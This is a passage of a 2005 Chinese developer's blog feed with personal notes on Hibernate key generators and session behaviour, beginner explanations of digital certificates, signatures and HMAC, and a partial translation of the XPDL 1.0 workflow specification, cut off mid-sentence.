<P>......<BR>&lt;class<BR>&nbsp;&nbsp;&nbsp; name="com.abcdefg.hibernate.Organ"<BR>&nbsp;&nbsp;&nbsp; table="Organ"<BR>&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;id<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name="organId"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type="java.lang.String"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; column="OrganId"<BR>&nbsp;&nbsp;&nbsp; &gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;generator class="hbtest.PkGenerator"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;param name="table"&gt;PKGenerator_table&lt;/param&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;param name="column"&gt;NextOrganId&lt;/param&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;param name="max_lo"&gt;0&lt;/param&gt;<BR>&nbsp;&lt;/generator&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/id&gt;<BR>......<BR>&lt;/class&gt;</P>
<P>找到的资料说:"如果需要采用定制的主键产生算法，则在此处配置主键生成器，主键生成器必须实现net.sf.hibernate.id.IdentifierGenerator 接口".我找了半天都没找到net.sf.hibernate.id.IdentifierGenerator.其实只要从hibernate自身提供的一些主键生成器继承就可以,从hibernate的源文件可以看到这些主键生成器实现的接口是org.hibernate.id</P>
<P>我的PkGenerator.java文件:<BR>package hbtest;</P>
<P>import org.hibernate.id.TableHiLoGenerator;<BR>import java.io.Serializable;<BR>import java.util.Properties;</P>
<P>import org.apache.commons.logging.Log;<BR>import org.apache.commons.logging.LogFactory;<BR>import org.hibernate.HibernateException;<BR>import org.hibernate.dialect.Dialect;<BR>import org.hibernate.engine.SessionImplementor;<BR>import org.hibernate.type.Type;<BR>import org.hibernate.type.IntegerType;<BR>import org.hibernate.util.PropertiesHelper;</P>
<P>public class PkGenerator<BR>&nbsp;&nbsp;&nbsp; extends TableHiLoGenerator {</P>
<P>&nbsp; private String columnName;</P>
<P>&nbsp; public void configure(Type type, Properties params, Dialect d) {<BR>&nbsp;&nbsp;&nbsp; super.configure(new IntegerType(), params, d);<BR>&nbsp;&nbsp;&nbsp; this.columnName = PropertiesHelper.getString(COLUMN, params,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DEFAULT_COLUMN_NAME);<BR>&nbsp; }</P>
<P>&nbsp; public synchronized Serializable generate(SessionImplementor session,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Object obj) throws<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HibernateException {<BR>&nbsp;&nbsp;&nbsp; Object result = super.generate(session, obj);<BR>&nbsp;&nbsp;&nbsp; String strNumber = result.toString();<BR>&nbsp;&nbsp;&nbsp; StringBuffer strResult = new StringBuffer("");<BR>&nbsp;&nbsp;&nbsp; if (columnName.compareToIgnoreCase("NextOrganId") == 0) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strResult.append("Organ");<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; else if(columnName.compareToIgnoreCase("NextDeptId") == 0){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strResult.append("Dept");<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; ......</P>
<P>&nbsp;&nbsp;&nbsp; if (strNumber.length() &gt; 10)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new HibernateException("The generated " + strResult +<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Id is too long!");<BR>&nbsp;&nbsp;&nbsp; else if (strNumber.length() == 10) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strResult.append(strNumber);<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; else {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int count = 10 - strNumber.length();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (count &gt; 0) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strResult.append("0");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; count--;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strResult.append(strNumber);<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; return strResult.toString();<BR>&nbsp; }<BR>}</P>
<P>实现了以后发现在这些主键前面添加"Organ","Dept"之类的并不是特别有用,而且我开始的出发点还是错的.也许我应该建立更多的映射表...?</P>
<P><A HREF="/Files/Raistlin/lifeapplet.rar" rel=nofollow><FONT color=#003399>Hibernate的初级指南<BR></FONT></A><BR><STRONG>hibernate贴心的地方</STRONG>：<BR></P>
<DIV>验证了一下，我的担心终于被证实是多余的了，我担心的是hibernate会为同一条记录产生一堆不同的对象。</DIV>
<DIV>我觉得使hibernate真正实用的条件：为同一条记录产生的多个对象是同一个对象。当然前提是设置了主键。</DIV>
<DIV>hibernate也许是将当前读出的对象保存在一个哈希表，在读一个新对象的时候会先从这个哈希表中查找。好像这并不是多困难的事情。</DIV>
<DIV>&nbsp;</DIV>
<DIV>但多线程情况下就有所不同了..</DIV>
<DIV>因为Hibernate说(对于Session)：</DIV>
<DIV>It is not intended that implementors be threadsafe. Instead each thread/transaction should obtain its own instance from a SessionFactory</DIV>
<DIV>&nbsp;</DIV>
<DIV>Session并没有要求是线程安全的，而通过实验表明记录和对象的一一对应只存在于同一个Session中。这也是hibernate的文档中HibernateUtil类使用ThreadLocal的原因吧。</DIV>
<DIV>所以对于多线程的情况，在不同的线程中，对应同一条记录的对象是不同的。<BR><BR>(另hibernate有二级缓存，是全局的缓存，可以用来减少数据库负载，二级缓存的功能需要设置才会启用)<BR><BR><STRONG>Hibernate中修改多对多关系的属性：</STRONG><BR>
<P>&lt;middlegen&gt;项中有如下&lt;table&gt;配置:<BR>&nbsp;&nbsp; &lt;table generate="true" name="Post"/&gt;<BR>&nbsp;&nbsp; &lt;table generate="true" name="Stuff"/&gt;<BR>&nbsp;&nbsp; &lt;many2many&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tablea generate="true" name="Post" /&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;jointable name="PostStuff" generate="true" /&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tableb generate="true" name="Stuff" /&gt; <BR>&nbsp;&nbsp; &lt;/many2many&gt;<BR>即表Post与Stuff的关系是多对多，而且表PostStuff中一个字段时JoinDate:员工加入部门的时间。</P>
<P>我现在想加入一条Post记录，一条Stuff记录，然后设置Stuff加入Post的时间。经过多次尝试，代码如下：<BR>&nbsp;&nbsp; ...<BR>&nbsp;&nbsp; Dept dept = ....<BR>&nbsp;&nbsp; Post post = new Post("third post1",dept,new HashSet(),new HashSet());<BR>&nbsp;&nbsp; Stuff stuff = new Stuff("third stuff",new HashSet(),new HashSet());<BR>&nbsp;&nbsp; session.save(stuff);<BR>&nbsp;&nbsp; session.save(post);<BR>&nbsp;&nbsp; post.getStuffs().add(stuff);<BR>&nbsp;&nbsp; //stuff.getPosts().add(post);/*不能与上一行并存，会有异常，因为是一个死循环？*/<BR>&nbsp;&nbsp; PostStuff postStuff = (PostStuff)session.createQuery("from PostStuff where PostId = '" + post.getPostId() + "' AND StuffId = '" + stuff.getStuffId() + "'").iterate().next();<BR>&nbsp;&nbsp; postStuff.setJoinDate(new java.util.Date());<BR>&nbsp;&nbsp; tx.commit();<BR>&nbsp;&nbsp; HibernateUtil.closeSession();<BR>&nbsp;&nbsp; ...</P>
<P>post.getStuffs().add(stuff);在两个Save()之后，而且没有调用session.flush()，但是createQuery能够得到PostStuff说明HQL是先从内存中查询数据的。不需要调用session.flush()来写入数据库，因为tx.commit()会自动调用。</P>
<P>可以用session.persist(stuff)来替换session.save(stuff)，我晕，明明save有说明会创建id，而persist没有说明会创建id的(但实际上是创建了)。</P>
<P>试图用以下替代post.getStuffs().add(stuff):<BR>&nbsp;&nbsp; PostStuff postStuff = new PostStuff();<BR>&nbsp;&nbsp; postStuff.setPost(post);<BR>&nbsp;&nbsp; postStuff.setStuff(stuff);<BR>&nbsp;&nbsp; postStuff.setJoinDate(new java.util.Date());<BR>&nbsp;&nbsp; postStuff.setComp_id(new PostStuffPK(post.getPostId(),stuff.getStuffId()));<BR>&nbsp;&nbsp; post.getPostStuffs().add(postStuff);<BR>结果是虽然没有异常，但并不会添加一条关系。</P>
<P>或者</P>
<P>&nbsp;&nbsp; session.flush();<BR>&nbsp;&nbsp; session.refresh(stuff);<BR>&nbsp;&nbsp; ((PostStuff)(stuff.getPostStuffs().iterator().next())).setJoinDate(new java.util.Date());<BR>注意这些代码只是用来作试验用的。</P><BR><BR></DIV><img src ="http://www.cnitblog.com/Raistlin/aggbug/5575.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 09:23 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5575.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>菜鸟学习数字什么证书</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5574.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 01:15:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5574.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5574.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5574.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5574.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5574.html</trackback:ping><description><![CDATA[<P>菜鸟我觉得数字证书就是有人管理的<A href="http://spaces.msn.com/members/jhwcn/Blog/cns!1pvr5thyAIwicGdvbHKCUzZw!180.entry" rel=nofollow><FONT color=#003399>数字签名</FONT></A>。<BR>数字证书就类似于手写的签章，虽然你认识这个签章，但你无法模仿这个签章。</P>
<P>比如我可以根据RSA的方法找到一对公钥和私钥，然后告诉每个我的朋友或者商业伙伴这个公钥。这样我就可以发送用私钥签名的信息给他们，他们也可以用我的公钥加密信息后发送给我。(这就是数字签名了)</P>
<P>但是我怎么告诉我的朋友或者商业伙伴我的公钥？用internet告诉他们？别忘了上网就像裸奔，别人也可以找到另一对公钥私钥，以你的身份通过Internae把公钥发送给你的朋友(你认为没有这个可能？因为电子邮箱是需要身份认证的？你的密码不可能泄露，电脑上一定没有木马，黑客伪装不了你的电子邮件，更窃听不了你发送的数据包,竞争对手不会窃取你的商业秘密,没有人试图知道你的银行帐号，FBI更不知道你发表了什么言论。恩，那数字证书确实没什么用)。那么一个个打电话告诉他们，或者发送一堆挂号信？这样看起来不大现实。</P>
<P>所以有了数字证书。数字证书就是数字认证机构(CA)颁发给我的签名，由数字认证机构来证明这个证书的有效性。假如有了某个机构的数字证书，我就可以向所有人发送用这个数字证书签名过的信息。信息的接收者只要验证这个认证机构的签名就可以了。</P>
<P>但这样还是不现实，谁会拿着我的电子邮件跑去找厦门数字认证中心或者北京数字认证中心呢？所以这些机构的数字证书上也有更上层的签名，那就是根证书。打开IE-工具-Internet选项-内容-证书.你就可以看到一堆的受信任的根证书和中级证书机构颁发的证书.根证书给中级机构的证书签名,中级机构的证书给我的证书签名.所以只要根证书是可信的.我的证书就是可信的.</P>
<P>通俗一点就是说比如安南公布了自己的签名，声称他是可信的。然后布什去找安南，让安南在他的签名上签名，这样布什的签名就是可信的，然后布什在我的签名上签名。这样我的签名上就有布什的签名，而布什的签名上有安南的签名，这样如果你认识安南的签名，你就知道我的签名大概不是假的。大概就是这样了。</P>
<P>但是也许某一天布什会认为我有搞恐怖的嫌疑，决定把我的签名扔进黑名单。这时如果你收到了一份我签名的文件，说布什有裸奔的习惯，你怎么知道我是否还是可信的呢？布什想了个办法，把他黑名单公布在白宫的墙上，并在他的签名上写下白宫地址。这样你收到我的签名后，因为我的签名里面有布什的签名，布什的签名里面有白宫地址，你就可以去白宫看看我是否上了黑名单榜。</P>
<P>听起来这个方式很好。。可惜找布什在我的签名上签名是要钱的，直接找安南签名要的钱更多。人吃人的社会啊。所以据说有另外一种签名的方式。但目前偶还不清楚。<BR>
<TABLE class="fixedTable blogpost" cellSpacing=0 width="100%" border=0>
<TBODY>
<TR>
<TD class=ellipse><SPAN class=bvTitle id=subjcns!1pvr5thyAIwicGdvbHKCUzZw!183><STRONG></STRONG></SPAN></TD></TR>
<TR>
<TD class=bvh8><STRONG></STRONG></TD></TR>
<TR>
<TD id=msgcns!1pvr5thyAIwicGdvbHKCUzZw!183>
<P>试验CryptoAPI的失败：<BR>微软提供的Microsoft Cryptographic Service Providers里的The Microsoft Base Cryptographic Provider和The Microsoft Enhanced Cryptographic Provider不支持导入导出密钥对。唯一的收获。寂寥，郁郁，挫败。</P></TD></TR></TBODY></TABLE></P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5574.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 09:15 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5574.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>菜鸟学习数字签名笔记</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5573.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 01:13:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5573.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5573.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5573.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5573.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5573.html</trackback:ping><description><![CDATA[<P>数字签名(Digital Signature)是电子签名(Electronic Signature)的一种(实现)。</P>
<P>目前电子签名签名的实现方式有：<BR>基于PKI(Public Key Infrastructino)的公钥密码技术的数字签名；<BR>以生物特征统计学为基础的识别标识；<BR>手印、声音印记或视网膜扫描的识别；<BR>一个让收件人能识别发件人身份的密码代号、密码或个人识别码PIN；<BR>基于量子力学的计算机...<BR>数字签名的目的和功能:<BR>认证、数据保密性、数据完整性和不可否认性.</P>
<P>数字签名的实现方式:</P>
<P>(一)公钥加密算法如何加密:<BR>比如我要发送一个绝密的信息M给你,我当然不会直接把M写在信里面寄给你,我会提前告诉你解密的方法,然后使用算法P处理M得到P(M),我发送P(M)给你.因为你知道解密的方法P',你使用P'来处理P(M)得到了M.只要P和P'不让别人知道,我们的通讯就是保密的.<BR>如果从P'能够得到P,那你就能知道P,然后伪装我发送消息给其他人.<BR>但是据说有一个公钥加密算法,加密和解密的算法是一样的,而且是公开的,我告诉你我的公钥k1,我自己保密的是私钥k0,我发送给你的信息是M' = P(k0,M),你收到M'后可以通过运算P(k1,M')得到M,但是通过k1是无法计算出k0的,通过K0也无法计算出k1.(我也不知道是否真的这么神奇,现在网络上到处都是RSA被破解之类的,看得菜鸟我心惊胆颤,俺刚要好好学习呢,别人早已经把它颠覆了).</P>
<P>这样你只有解密的份,没有伪装我身份的可能.<BR>同样你也可以用k1来加密发消息给我,我用k0可以将它解密.<BR>但是这种公钥加密算法是把消息本身当成一个大数来进行幂运算,所以比如我想把1000个字节的字符串当成一个大数来加密,应该是非常困难而且非常慢的.(偶想高手应该会算,但那不是俺关心的)<BR>所以有了散列.</P>
<P>(二)关于散列:<BR>最常用的散列机制有 SHA1,MD5,RIPEMD-160等.SHA1即“安全散列算法”。SHA1 可以处理 2**64字节以内的任何消息，并生成一个 20 字节的结果。<BR>按照菜鸟我看来这不是"散列",这是"聚列"啊.把一个2^(64*8)的数映射到一个2(20*8)的数,同志们,这不是聚列是什么?但其实我们一般用的字符串,不会把0~2^(64*8)的数全用光,只用了其中一小部分.所以这个散列似乎是相对安全的.这种问题就留给长了几个脑袋的人来解决吧.</P>
<P>关键是散列算法比公钥加密算法要快很多.</P>
<P>这样,我找到了一对公钥和私钥(k0和k1),我公布了我的散列算法H,发表了一篇长5万个字奇菜无比的论文,内容为M,对M进行散列,很快得到H(M),然后用私钥加密得到S = P(k0,H(M)),把S附在M后面并发表.<BR>你看到后为了证实这篇其烂无比的文章是我写的,可以判断 P(k1,S) 是否等于H(M).如果相等,你就可以确定这其烂无比的文章确实是我写的.<BR>或者确定那个狗屁不通的审批确实是某大人批准的.</P>
<P><BR>(三)除了使用公钥加密算法来实现数字签名,还可以用HMAC来实现:</P>
<P>HMAC即散列后的消息验证代码”(Hashed Messsage Authentication Code)<BR>微软MSDN上这么说:<BR><FONT color=#666699>将共享密钥混合在摘要中，即创建 H(S+M)。您收到消息后，可以使用自己的 S 副本来创建 H'(S+M)。<BR>在使用 HMAC 时，完整性保护的有效性取决于攻击者计算出 S 的能力。因此，S 应该不容易被猜出，并应该经常更改 S。符合以上要求的最好方法之一是使用 Kerberos。在 Kerberos 中，中央机构将在两个实体希望通信时分配包含临时会话密钥的“票”。此会话密钥将用作共享密钥。在要将签名发送给您时，我将得到一张票，以和你通信。我打开票中的属于我的那一部分来获得 S，然后将消息、消息的 HMAC 和票中您的那一部分发送给您。您打开票（使用原来通过 Kerberos 注册的密钥），获取 S 以及有关我身份的信息。您现在可以获得消息 M，生成自己的 H'(S+M)，并查看它们是否匹配。如果匹配，表明您原封不动地收到了我的消息，并且 Kerberos 将通知您我是谁。</FONT></P>
<P>Kerberos是古希腊神话里的地域门口的一条三头狗.也是MIT麻省理工大学发明的一种协议.要使用这个协议需要配置一个分发服务器,似乎比较麻烦...<BR></P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5573.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 09:13 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5573.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>自己翻译的XPDL1.0</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5572.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 01:06:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5572.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5572.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5572.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5572.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5572.html</trackback:ping><description><![CDATA[<P>WfMC是啥<BR>WfMC=Workflow Management Coalition.好象有人翻译成工作流管理委员会.有的称之为国际工作流管理委员会.俺不大了解,但好象加入该Coalition好象是要年费的.所以与其说是"委员会",不如称之为"联合会"。<BR>是否符合WfMC标准需要WfMC确认,并不是谁都能声称自己符合WfMC的标准的.</P>
<P>什么是工作流:<BR>工作流管理委员会(WfMC)把工作流定义为：工作流是一类能够完全或部分自动执行的业务过程。根据一系列规则，文档、信息、任务能够在不同的执行者之间传递、执行。完成正个过程所需要的参数有：<BR>过程中每一单独步骤的定义，每一步骤由谁负责，每个活动需要的应用程序。定义一个工作流就是说明了处理过程是什么：由哪些活动、任务组成即流的结构。如何做：活动间的执行条件、规则，所交互的信息即控制流与信息流的定义，谁来做：人还是应用程序即角色定义，做得怎么样：对工作流的执行状态实施监控。(工作流管理与事务服务设计方案)</P>
<P>WfMC提出了一种工作流的参考模型(Workflow Reference Model)：目的就是把工作流分成5个模块,并定义这5个模块之间的接口的规范.这么做的意义是啥呢?应该不归我菜鸟来解释了.<BR><A href="http://www.wfmc.org/standards/model2.htm" target=_blank><IMG src="http://www.wfmc.org/images/model-l.gif" width="98%" border=0></IMG></A><BR>模型包含5个模块：<BR>1.过程定义(Process Definition)<BR>2.特定的工作流系统(Workflow Enactment Service),其中包含一个或多个工作流引擎(Workflow Engine(s)),提供工作流API和交换(Workflow API and Interchange)<BR>3.工作流客户端程序(Workflow Client Application)<BR>4.激发的程序(Invoked Applications)<BR>5.其它工作流系统(Other Workflow Enactment Service)<BR>6.管理和监控工具(Aministration &amp; Monitoring Tools)<BR>其中包含5个接口(Interface)<BR>1.工程定义工具接口(Process Definition Tools Interface)<BR>工作流系统(Workflow Enactment Service)&lt;=&gt;过程定义(Process Definition)<BR>2.客户端程序接口(Workflow Client Application Interface)<BR>工作流系统(Workflow Enactment Service)&lt;=&gt;工作流客户端程序(Workflow Client Application)<BR>3.激发程序接口(Invoked Application Interface)<BR>工作流系统(Workflow Enactment Service)&lt;=&gt;激发的程序(Invoked Applications)<BR>4.工作流系统间协同接口(Workflow Interoperability Interface)<BR>工作流系统(Workflow Enactment Service)&lt;=&gt;其它工作流系统(Other Workflow Enactment Service)<BR>5.管理和监控接口(Administration &amp; Monitoring Tools Interface)<BR>工作流系统(Workflow Enactment Service)&lt;=&gt;管理和监控工具(Aministration &amp; Monitoring Tools)<BR><BR>XPDL：<BR>5.流程定义交换概述(Overview of Process Definition Interchange)<BR>流程定义的作用：<BR>1。产生和控制流程实例的模版<BR>2。仿真和预测<BR>3。监控和分析<BR>4。文档，可视化和知识库管理(?)<BR>可能会包含子流程的定义<BR>一个初始的流程定义最少要包含初始化和执行所需要的对象(objects)和属性(attributes)。流程实例将继承(inherit)这些对象和属性。<BR>WfMC术语表中包含活动(activities), 流向(transitions), 工作流相关数据(workflow relevant data)和参与者(participants)等。<BR>&nbsp;<BR>5.1流程定义交换的方法(Approaches to Process Definition Interchange)<BR>这里使用XML作为交换的机制。XPDL提供一种交换标准，使用导入导出(import/export)的方法使得任意在内部用不同方式表示流程的系统得以互相交换流程(?)。<BR>有很多不同的方法可以用来在不同系统间交换流程。在这些方法中都必须把流程表示成一致的格式。</P>
<P>6.元模型(Meta-Model)<BR>元模型用以描述一个流程定义的最上层实体(the top-level entities)，实体的关系和属性(这些属性有的只是用以仿真或监控的目的，而不是为了运行(enactment))；它包含了把多个流程组织成流程模型(process models)和多个流程和流程模型间的公共定义数据(common definition data)。<BR>&nbsp;<BR>6.1实体(Entities)</P>
<P>6.1.1工作流定义(Workflow Process Definition)<BR>提供上下文环境(contextual information)，提供管理信息（如创建日期，作者等）或者用于执行(process execution)的信息（如初始值，执行优先级，期限，需要通知的人，仿真信息(simulation information)等）</P>
<P>6.1.2环节（Workflow Process Activity）<BR>一个流程定义中包含多个环节，环节是流程中逻辑上独立的单元。环节代表使用多种资源处理的工作（参与者的任务）或/和应用程序（应用软件的职能）。其它信息包含是否自动开始/结束，当和其它环节发生资源冲突的时候的优先级。对流程相关数据(workflow relevant data items)的使用也必须指明。一个环节的范围是某个特定的流程。<BR>一个环节可能是一个子流程(subflow)。这种情况下它包含了一个特定流程的执行，这个流程可能在同一个工作流服务器（workflow service）中运行，也可能在其它工作流服务器上运行（通过流程协同接口(process interoperability interface)）。子流程包含它自己的环节，内部流向，资源和应用程序分配(application assignments)，尽管这些可能是从同一个公共资源而来。输入参数和输出参数使得流程相关信息得以被在调用和被调用流程间交换（如果必要可以是返回参数）。<BR>一个环节可能是一个块环节(block activity)。块环节包含一个环节组(activity set,)，或一堆环节和流向，一个环节组中的环节和流向共用内流程(containing process)的名字空间。<BR>最后，一个空环节（dummy activity）不执行任何操作（因此没有相关资源和相关applications），仅用来在入流向(incoming transitions)和/或出流向(outgoing transitions)间进行流转(routing).</P>
<P>6.1.3流向信息.(Transition Information)<BR>环节之间由流程控制条件相关联(流转条件(transition information).)).每个流向包含三个基本属性,源环节,目的环节和流向条件.从一个环节到另一个环节的流向可能是有条件的,也可能是不需要条件的.一个流程里面的多个流向可能产生串行的(sequential)或并行的(parallel)环节.分叉(split)或者合并(join)的相关信息在对应的环节之中,split as a form of “post activity” processing in the from-activity, join as a form of “pre-activity” processing in the to- activity.This approach allows the workflow control processing associated with process instance thread splitting and synchronization to be managed as part of the associated activity, and retains transitions as simple route assignment functions.{开始昏了}一个流向属于包含它和它的相关环节的流程.<BR>其它更复杂的流向,不能用简单的函数来表达的,使用空环节来实现.结合使用基本的流向和空环节,任何复杂的流转结构都可以被实现.因为业内已经有好几种流向控制的途径,在XPDL中也有相应的几类,在本文稍后描述.</P>
<P>6.1.4流程参与者声明(Workflow Participant Declaration)<BR>流程参与者声明描述在流程定义中各个环节的参与者(performer).The particular resources, which can be assigned to perform a specific activity, are specified as an attribute of the<BR>activity, participant assignment, which links the activity to the set of resources (within the workflow participant<BR>declaration) which may be allocated to it.{环节参与者是环节的一个属性...昏了}.流程参与者不一定是单独的个人,也可以是一组有相应资格或责任的人,或者机器的自动操作.元模型包含了一些简单的资源类型,这些类型可能在流程参与者声明中被定义.</P>
<P>6.1.5资源库(Resource Repository)(?)<BR>资源库说明参与者可能是人员,程序,或者机器.在更复杂的情况下,参与者声明可能是一个资源库,它可能是参与人员的一个组织机构模型(Organizational Model).这份文档并没有定义或要求一个资源库.</P>
<P>6.1.6工作流应用程序声明(Workflow Application Declaration)<BR>工作流应用程序声明描述了被工作流服务器调用的,用以支持各个环节的处理的IT应用程序或接口,这些程序和接口被定义为环节的一个属性.这些应用程序可能是行业工具,特定部门或企业的服务,或在工作流管理系统框架下的本地应用程序.工作流应用程序声明反映了工作流引擎和{应用程序或接口}的接口,包含需要传递的参数.</P>
<P>6.1.7工作流相关数据(Workflow Relevant Data)<BR>工作流相关数据定义了在流程执行过程中创建和使用的数据.这些数据在工作流中被环节或者应用程序使用,并可能被用于传递持久的信息或者环节间的中间结果或/和用于判断流向流转或者分配参与者的的中间数据.工作流相关数据是特殊的类型(Workflow relevant data is of particular type.),XPDL定义了各种基本的和复杂的数据类型,(包含日期Date,字符串string,等).环节,被调用的应用程序(invoked applications)和/或流向条件会用到工作流相关数据.</P>
<P>6.1.8系统和环境数据(System and Environmental Data)<BR>系统和环境数据由流程管理系统和本地系统环境管理,但会被工作流环节或工作流管理系统用于计算条件表达式,如同工作流相关数据一样.</P>
<P>6.1.9数据类型和表达式(Data Types and Expressions)<BR>元模型(和相关的XPDL)假设有一些标准数据类型(string,reference,integer,float,date/time等),这些数据类型被用于工作流相关数据,系统和环境数据或参与者数据(participant data).用于条件判断的表达式将由这些数据类型组成.数据类型可以用XML schema或者引用外部资源中定义的类型来扩展.<BR>&nbsp;<BR>&nbsp;6.2流程和流程包(Processes and Packages)<BR>从以上内容可知,流程模型包含的很多实体(entities)的范围超出了单个流程定义的范围.可能多个流程定义会引用到相同的流程参与者,工作流应用程序和工作流相关数据.元模型采取了使用公共流程定义库(common process definition repository)来包含这些实体和工作流定义.在这个库本身的范围内,为了提高传送流程定义数据的效率,引入了流程包的概念,流程包包含了一组工作数据实体(common data entities)和许多不同的流程定义,避免了在不同的流程定义中重复定义这些工作数据实体.<BR>流程包包含了流程定义实体的许多公共属性如(作者,版本,状态等),包内的每个流程定义自动继承了所有这些公共属性,除非它们在流程定义中分别被重新指定.<BR>&nbsp;<BR>在包中的一些实体的定义是全局的,能够被包中的所有流程定义(以及相关的环节和流向)引用,这些实体是:<BR>-流程参与者声明<BR>-工作流应用程序声明<BR>-工作流相关数据<BR>可以在流程包或者流程包包含的对象中使用被引用的外部流程包的最上层实体(The package reference allows the use within the package or its contained objects of references to top-level entities in the referenced external 